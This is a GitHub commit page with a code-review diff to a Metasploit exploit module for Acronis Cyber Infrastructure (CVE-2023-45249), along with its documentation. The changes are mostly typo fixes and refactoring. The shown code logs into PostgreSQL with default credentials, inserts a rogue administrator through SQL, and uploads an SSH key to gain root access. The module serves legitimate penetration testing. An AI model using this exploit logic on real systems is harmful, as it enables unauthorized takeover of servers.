Skip to content

Commit d7fa23f

Browse files
h00die-gr3ybcolesjvoisin
authored
Apply suggestions from code review
Co-authored-by: bcoles <[email protected]> Co-authored-by: Julien Voisin <[email protected]>
1 parent 86c8879 commit d7fa23f

File tree

2 files changed

+25
-22
lines changed

2 files changed

+25
-22
lines changed

documentation/modules/exploit/linux/http/acronis_cyber_infra_cve_2023_45249.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -118,7 +118,7 @@ Description:
118118
cloud-native applications in production environments.
119119
This module exploits a default password vulnerability in ACI which allow an attacker to access
120120
the ACI PostgreSQL database and gain administrative access to the ACI Web Portal.
121-
This opens the door for the attacker to upload ssh keys that enables root acces
121+
This opens the door for the attacker to upload SSH keys that enables root access
122122
to the appliance/server. This attack can be remotely executed over the WAN as long as the
123123
PostgreSQL and SSH services are exposed to the outside world.
124124
ACI versions 5.0 before build 5.0.1-61, 5.1 before build 5.1.1-71, 5.2 before build 5.2.1-69,

modules/exploits/linux/http/acronis_cyber_infra_cve_2023_45249.rb

Lines changed: 24 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -29,7 +29,7 @@ def initialize(info = {})
2929
cloud-native applications in production environments.
3030
This module exploits a default password vulnerability in ACI which allow an attacker to access
3131
the ACI PostgreSQL database and gain administrative access to the ACI Web Portal.
32-
This opens the door for the attacker to upload ssh keys that enables root acces
32+
This opens the door for the attacker to upload SSH keys that enables root access
3333
to the appliance/server. This attack can be remotely executed over the WAN as long as the
3434
PostgreSQL and SSH services are exposed to the outside world.
3535
ACI versions 5.0 before build 5.0.1-61, 5.1 before build 5.1.1-71, 5.2 before build 5.2.1-69,
@@ -121,8 +121,9 @@ def run_query(query)
121121
end
122122
end
123123

124-
def add_admin_user(username, userid, password)
125124
# add an admin user to the Acronis PostgreSQL DB (keystone) using default credentials (vstoradmin:vstoradmin)
125+
def add_admin_user(username, userid, password)
126+
126127
vprint_status("Creating admin user #{username} with userid #{userid}")
127128

128129
# add new admin user to the user table
@@ -154,7 +155,7 @@ def add_admin_user(username, userid, password)
154155
vprint_status("Assigning the admin roles: #{id_project_role} and #{id_admin_role}")
155156
return false unless run_query("insert into \"assignment\" values('UserProject',\'#{userid}\',\'#{id_project_role}\',\'#{id_admin_role}\','F')")
156157

157-
vprint_status("Succesfully created admin user #{username} with password #{password} to access the Acronis Admin Portal.")
158+
vprint_status("Successfully created admin user #{username} with password #{password} to access the Acronis Admin Portal.")
158159
true
159160
end
160161

@@ -180,8 +181,8 @@ def do_sshlogin(ip, user, ssh_opts)
180181
return true
181182
end
182183

184+
# Login at the Acronis Cyber Infrastructure web portal
183185
def aci_login(name, pwd)
184-
# Login at the Acronis Cyber Infrastructure web portal
185186
post_data = {
186187
username: name.to_s,
187188
password: pwd.to_s
@@ -196,13 +197,11 @@ def aci_login(name, pwd)
196197
'uri' => normalize_uri(target_uri.path, 'api', 'v2', 'login'),
197198
'data' => post_data.to_s
198199
})
199-
return true if res&.code == 200
200-
201-
false
200+
return res&.code == 200
202201
end
203202

203+
# Upload the SSH public key at the Acronis Cyber Infrastructure web portal
204204
def upload_sshkey(sshkey)
205-
# Upload the SSH public key at the Acronis Cyber Infrastructure web portal
206205
post_data = {
207206
key: sshkey.to_s,
208207
event:
@@ -236,9 +235,8 @@ def execute_command(cmd, _opts = {})
236235
@timeout = true
237236
end
238237

238+
# Return ACI version-release or nil if not found
239239
def get_aci_version
240-
# Return ACI version-release or nil if not found
241-
version_release = nil
242240
res = send_request_cgi({
243241
'method' => 'GET',
244242
'ctype' => 'application/json',
@@ -247,16 +245,21 @@ def get_aci_version
247245
},
248246
'uri' => normalize_uri(target_uri.path, 'api', 'v2', 'about')
249247
})
250-
if res&.code == 200 && res.body.include?('storage-release')
251-
# parse json response and get the version
252-
res_json = res.get_json_document
253-
unless res_json.blank?
254-
version = res_json['storage-release']['version']
255-
release = res_json['storage-release']['release']
256-
version_release = Rex::Version.new("#{version}-#{release}".gsub(/[[:space:]]/, '')) unless version.nil? || release.nil?
257-
end
258-
return version_release
259-
end
248+
249+
return unless res&.code == 200
250+
return unless res.body.include?('storage-release')
251+
252+
# parse json response and get the version
253+
res_json = res.get_json_document
254+
return if res_json.blank?
255+
256+
version = res_json['storage-release']['version']
257+
return if version.nil?
258+
259+
release = res_json['storage-release']['release']
260+
return if release.nil?
261+
262+
Rex::Version.new("#{version}-#{release}".gsub(/[[:space:]]/, ''))
260263
end
261264

262265
def check
@@ -293,7 +296,7 @@ def exploit
293296

294297
# create SSH key pair
295298
print_status('Creating SSH private and public key.')
296-
k = SSHKey.generate(type: 'RSA', bits: 2048)
299+
k = SSHKey.generate
297300
vprint_status(k.private_key)
298301
vprint_status("#{k.ssh_public_key} root")
299302

0 commit comments

Comments
 (0)